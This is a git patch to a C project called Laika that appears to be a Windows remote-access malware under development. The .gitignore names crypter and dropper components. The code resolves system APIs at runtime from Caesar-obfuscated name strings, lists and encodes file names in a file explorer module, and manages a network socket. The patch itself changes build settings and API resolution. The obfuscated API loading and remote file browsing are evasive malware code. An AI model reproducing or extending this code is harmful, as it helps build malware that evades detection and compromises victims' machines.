From 0947cf8942fc7502b9e85a1c47a192fb33b8387a Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Tue, 21 Feb 2023 15:16:59 +0100 Subject: [PATCH] doesn't work --- .gitignore | 3 +-- Laika/Laika.vcxproj | 50 +++++++++++++------------------------------ Laika/file_explorer.c | 4 ++-- Laika/main.c | 4 ++-- Laika/resolve_apis.c | 8 ++----- Laika/resolve_apis.h | 6 +----- 6 files changed, 23 insertions(+), 52 deletions(-) diff --git a/.gitignore b/.gitignore index dd4ccd6..d4c570d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,8 +1,7 @@ #le crypter est en WIP, pas sûr de le faire jusqu'au bout, peut-être faire un obfuscateur à la place .vim Laika/.vs -Laika/Release -Laika/Debug +Laika/release Crypter/.vs Crypter/x64 Dropper/ \ No newline at end of file diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj index 400fa87..f4db323 100644 --- a/Laika/Laika.vcxproj +++ b/Laika/Laika.vcxproj @@ -28,7 +28,7 @@ Application - false + true v143 Unicode @@ -71,8 +71,7 @@ - false - false + true false @@ -88,6 +87,19 @@ false + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + Level3 true @@ -110,38 +122,6 @@ main - true - - - - - Level3 - true - true - false - WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - true - stdcpp20 - MinSpace - MultiThreadedDebug - false - CompileAsC - AnySuitable - Size - true - true - - - Console - true - true - true - true - main - - - /LTCG %(AdditionalOptions) - true diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index 3a183eb..0d4a70d 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -29,7 +29,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { wcscat(searchPath, L"\\*.*"); - hFind = Api.FindFirstFileW(searchPath, &findData); + hFind = FindFirstFile(searchPath, &findData); if (hFind == INVALID_HANDLE_VALUE) { return NULL; } @@ -59,7 +59,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1); Api.strcpy(fileList[numFound], CAESAR(fileName)); numFound++; - } while (Api.FindNextFileW(hFind, &findData) != 0); + } while (FindNextFile(hFind, &findData) != 0); Api.FindClose(hFind); diff --git a/Laika/main.c b/Laika/main.c index f934679..75da530 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -446,10 +446,10 @@ retry: } } } - /* Never called + Api.closesocket(sock); FreeApis(); - */ + return 0; } \ No newline at end of file diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index 8cb611c..89e1e34 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -12,8 +12,8 @@ void InitApis() { return; } + Api.CreateFileW = (TCreateFileW)GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\")); Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx")); - Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\")); Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj")); Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj")); Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj")); @@ -29,8 +29,6 @@ void InitApis() { Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj")); Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx")); Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw")); - Api.FindFirstFileW = (TFindFirstFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiKnwxyKnqj\\")); - Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\")); hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq")); if (!hMsvcrt) { @@ -74,10 +72,8 @@ void InitApis() { Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy")); } -/* Never called void FreeApis() { Api.FreeLibrary(hWininet); Api.FreeLibrary(hMsvcrt); Api.FreeLibrary(hKernel32); -} -*/ \ No newline at end of file +} \ No newline at end of file diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index 0f3f6d8..27bf066 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -55,8 +55,6 @@ typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR); typedef BOOL(WINAPI* TFindClose)(HANDLE); typedef DWORD(WINAPI* TGetLogicalDrives)(VOID); typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int); -typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW); -typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW); typedef struct ApiList { Tconnect connect; @@ -93,8 +91,6 @@ typedef struct ApiList { TFindClose FindClose; TGetLogicalDrives GetLogicalDrives; TMultiByteToWideChar MultiByteToWideChar; - TFindFirstFileW FindFirstFileW; - TFindNextFileW FindNextFileW; Tmbstowcs mbstowcs; Twcstombs wcstombs; @@ -114,4 +110,4 @@ typedef struct ApiList { } API; void InitApis(); -//void FreeApis(); Never called \ No newline at end of file +void FreeApis(); \ No newline at end of file